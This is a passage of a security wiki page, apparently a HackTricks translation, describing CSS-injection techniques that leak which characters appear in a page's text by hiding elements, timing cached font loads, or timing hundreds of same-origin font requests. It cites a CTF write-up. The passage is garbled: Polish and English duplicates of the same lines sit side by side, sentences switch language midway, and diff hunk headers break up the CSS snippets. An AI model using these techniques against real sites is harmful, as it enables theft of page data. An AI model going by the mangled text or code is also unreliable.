### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referencja:** To jest wspomniane jako [nieudane rozwiązanie w tym opisie](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Reference:** Jest to wspomniane jako [nieudane rozwiązanie w tym writeupie](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
Ten przypadek jest bardzo podobny do poprzedniego, jednak w tym przypadku celem uczynienia konkretnych **znaków większymi niż inne jest ukrycie czegoś** jak przycisk, który nie ma być naciśnięty przez bota lub obraz, który nie zostanie załadowany. Możemy więc zmierzyć akcję (lub brak akcji) i wiedzieć, czy konkretny znak jest obecny w tekście.
This case is very similar to the previous one, however, in this case the goal of making specific **chars bigger than other is to hide something** like a button to not be pressed by the bot or a image that won't be loaded. So we could measure the action (or lack of the action) and know if a specific char is present inside the text.
### Ekstrakcja węzła tekstowego (III): wyciek zestawu znaków przez czas ładowania pamięci podręcznej (nie wymagające zewnętrznych zasobów) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referencja:** To jest wspomniane jako [nieudane rozwiązanie w tym opisie](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Reference:** Jest to wspomniane jako [nieudane rozwiązanie w tym writeupie](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
W tym przypadku moglibyśmy spróbować wyciekować, czy znak jest w tekście, ładując fałszywą czcionkę z tego samego źródła:
W tym przypadku możemy spróbować leakować, czy dany znak znajduje się w tekście, ładując fałszywą czcionkę z tej samej domeny:
```css
@font-face {
font-family: "A1";
@ -724,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Jeśli występuje dopasowanie, **czcionka zostanie załadowana z `/static/bootstrap.min.css?q=1`**. Chociaż nie załaduje się pomyślnie, **przeglądarka powinna ją zbuforować**, a nawet jeśli nie ma bufora, istnieje mechanizm **304 not modified**, więc **odpowiedź powinna być szybsza** niż inne rzeczy.
If there is a match, the **czcionka zostanie załadowana z `/static/bootstrap.min.css?q=1`**. Chociaż nie załaduje się poprawnie, **przeglądarka powinna ją zapisać w pamięci podręcznej**, a nawet jeśli nie ma cache, istnieje mechanizm **304 not modified**, więc **odpowiedź powinna być szybsza** niż inne rzeczy.
Jednakże, jeśli różnica czasowa między odpowiedzią z bufora a odpowiedzią bez bufora nie jest wystarczająco duża, nie będzie to przydatne. Na przykład autor wspomniał: Jednak po testach odkryłem, że pierwszym problemem jest to, że prędkość nie różni się zbytnio, a drugim problemem jest to, że bot używa flagi `disk-cache-size=1`, co jest naprawdę przemyślane.
Jednak jeśli różnica czasowa między odpowiedzią z cache i tą bez cache nie jest wystarczająco duża, to nie będzie to użyteczne. Na przykład autor wspomniał: Po testach odkryłem, że pierwszy problem polega na tym, że prędkość nie różni się znacząco, a drugi problem to to, że bot używa flagi `disk-cache-size=1`, co jest naprawdę przemyślane.
### Ekstrakcja węzła tekstowego (III): wyciek zestawu znaków przez czas ładowania setek lokalnych "czcionek" (nie wymagających zasobów zewnętrznych) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Referencja:** To jest wspomniane jako [nieudane rozwiązanie w tym opisie](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Referencja:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
W tym przypadku możesz wskazać **CSS do załadowania setek fałszywych czcionek** z tego samego źródła, gdy wystąpi dopasowanie. W ten sposób możesz **zmierzyć czas**, jaki zajmuje, i dowiedzieć się, czy znak się pojawia, czy nie, za pomocą czegoś takiego jak:
W tym przypadku możesz wskazać **CSS do załadowania setek fałszywych czcionek** z tej samej domeny, gdy wystąpi dopasowanie. W ten sposób możesz **zmierzyć czas**, jaki to zajmuje, i sprawdzić, czy dany znak pojawia się, czy nie, używając czegoś w stylu:
```css
@font-face {
font-family: "A1";
@ -747,7 +783,7 @@ browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
Więc, jeśli czcionka się nie zgadza, czas odpowiedzi podczas odwiedzania bota powinien wynosić około 30 sekund. Jednak jeśli czcionka się zgadza, zostanie wysłanych wiele żądań w celu pobrania czcionki, co spowoduje ciągłą aktywność w sieci. W rezultacie zajmie to więcej czasu, aby spełnić warunek zatrzymania i otrzymać odpowiedź. Dlatego czas odpowiedzi można wykorzystać jako wskaźnik do określenia, czy czcionka się zgadza.
Więc jeśli czcionka nie pasuje, czas odpowiedzi podczas odwiedzania bota powinien wynosić około 30 sekund. Jednak jeśli jest dopasowanie czcionki, zostanie wysłanych wiele żądań aby pobrać czcionkę, powodując ciągłą aktywność sieciową. W rezultacie spełnienie warunku zatrzymania i otrzymanie odpowiedzi zajmie więcej czasu. Dlatego czas odpowiedzi można wykorzystać jako wskaźnik do ustalenia, czy występuje dopasowanie czcionki.
## References
@ -755,5 +791,11 @@ Więc, jeśli czcionka się nie zgadza, czas odpowiedzi podczas odwiedzania bota
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
{{#include ../../../banners/hacktricks-training.md}}